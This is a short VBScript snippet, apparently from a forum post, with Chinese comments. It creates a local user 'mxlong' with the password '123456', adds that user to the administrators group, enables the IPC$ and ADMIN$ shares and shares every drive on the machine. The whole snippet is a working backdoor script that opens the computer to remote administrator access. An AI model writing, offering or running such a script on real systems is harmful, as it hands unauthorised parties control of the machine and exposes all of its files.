[code]
Dim Fso,WshShell,d,s,dc,n
'定义共享盘符
Disks=Array("A$=A:","C$=C:","D$=D:","E$=E:","F$=F:","G$=G:","H$=H:","I$=I:","J$=J:","K$=K:","L$=L:","M$=M:","N$=N:","O$=O:","P$=P:","Q$=Q:","R$=R:","S$=S:","T$=T:","U$=U:","V$=V:","W$=W:","X$=X:","Y$=Y:","Z$=Z:")
Set WshShell=WSCript.CreateObject("WSCript.Shell")
Set Fso=CreateObject("Scripting.FileSystemObject")
Set dc=Fso.Drives
'添加用户到ADMIN组,开IPC$和ADMIN$
WshShell.Run "net user mxlong 123456 /add"
WshShell.Run "net localgroup administrators mxlong /add"
WshShell.Run "net share IPC$"
WshShell.Run "net share ADMIN$"
'找出驱动器的数目
For Each d In dc
s=s & d.DriveLetter
n=n+1
Next
'将所有驱动器开共享
For i=0 to n
WshShell.Run "net share " & Disks(i)
Next
[/code]